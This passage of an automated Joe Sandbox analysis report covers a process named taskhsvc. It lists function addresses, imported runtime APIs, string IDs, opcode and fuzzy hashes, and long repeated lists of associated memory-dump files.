                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_failfreestrcmp
                                                                                                                          • String ID: $&$x+
                                                                                                                          • API String ID: 1261919273-3806704821
                                                                                                                          • Opcode ID: 7c4850b87ec60886519cb3ae560bb9397edf46f67de02dd6fc48d34da2a43938
                                                                                                                          • Instruction ID: 5e93921bd4c29d7efb1220c14d5c3c1e30c9d148d0be295c5c71a0cf600efe1e
                                                                                                                          • Opcode Fuzzy Hash: 7c4850b87ec60886519cb3ae560bb9397edf46f67de02dd6fc48d34da2a43938
                                                                                                                          • Instruction Fuzzy Hash: 95D19BB4A056099FCB00DFA8D585A9EBBF1FF48300F148869E899EB395D774E941CF21
                                                                                                                          Function 00C05153 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00C051AF
                                                                                                                          • abort.MSVCRT ref: 00C051F3
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C052A5
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C05246
                                                                                                                          • memcpy.MSVCRT ref: 00C05276
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort$strrchr$memcpy
                                                                                                                          • String ID: mS$d
                                                                                                                          • API String ID: 1741786893-876448153
                                                                                                                          • Opcode ID: 502340adbeb7d6fb9a68a92d7a1227b38f3b81b9bb8551ff8ef7c2fffe5b98a8
                                                                                                                          • Instruction ID: 2f280131b5191ee40b3080d9984b7532894efff9db074b30a2014229e187f1c3
                                                                                                                          • Opcode Fuzzy Hash: 502340adbeb7d6fb9a68a92d7a1227b38f3b81b9bb8551ff8ef7c2fffe5b98a8
                                                                                                                          • Instruction Fuzzy Hash: E541C6B49047199FCB00EFA9C5855AEBBF0FF48344F119819E4A4AB345D774EA44CF62
                                                                                                                          Function 00CA10CC Relevance: 12.1, APIs: 8, Instructions: 128stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: free$strcmp$__stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 455007030-0
                                                                                                                          • Opcode ID: 33289465799e78336a9d87275c84be9d9948eaf3e2724669d44c433329d08cd2
                                                                                                                          • Instruction ID: 4aed16951a7544e64f246eee2bb722b4c247b00fa87e0e2d29ce3a66a64d8583
                                                                                                                          • Opcode Fuzzy Hash: 33289465799e78336a9d87275c84be9d9948eaf3e2724669d44c433329d08cd2
                                                                                                                          • Instruction Fuzzy Hash: DD5186B4A047168FDB00DFA9C984AAEB7F5BF09304F058959E964EB361E734ED40DB21
                                                                                                                          Function 00BE31E0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 347COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failtime
                                                                                                                          • String ID: ../src/or/main.c$H$conn
                                                                                                                          • API String ID: 2434642342-3088072088
                                                                                                                          • Opcode ID: 8835173e31eaee34d87427b94d26169fdf6b9d610b293f1d912bd56f47c1dfb5
                                                                                                                          • Instruction ID: 6997984e1a7620f23f1e799b23fbe4a29f435499a1b306bbac363cc338c452ef
                                                                                                                          • Opcode Fuzzy Hash: 8835173e31eaee34d87427b94d26169fdf6b9d610b293f1d912bd56f47c1dfb5
                                                                                                                          • Instruction Fuzzy Hash: ABF1B3B4A082549FCB10DFA9C185A9DFBF0FF48710F05885AE894AB351D734E944DF61
                                                                                                                          Function 00CE60D2 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 196COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D09877: __stack_chk_fail.LIBSSP-0 ref: 00D09A17
                                                                                                                          • free.MSVCRT ref: 00CE627C
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CE6458
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
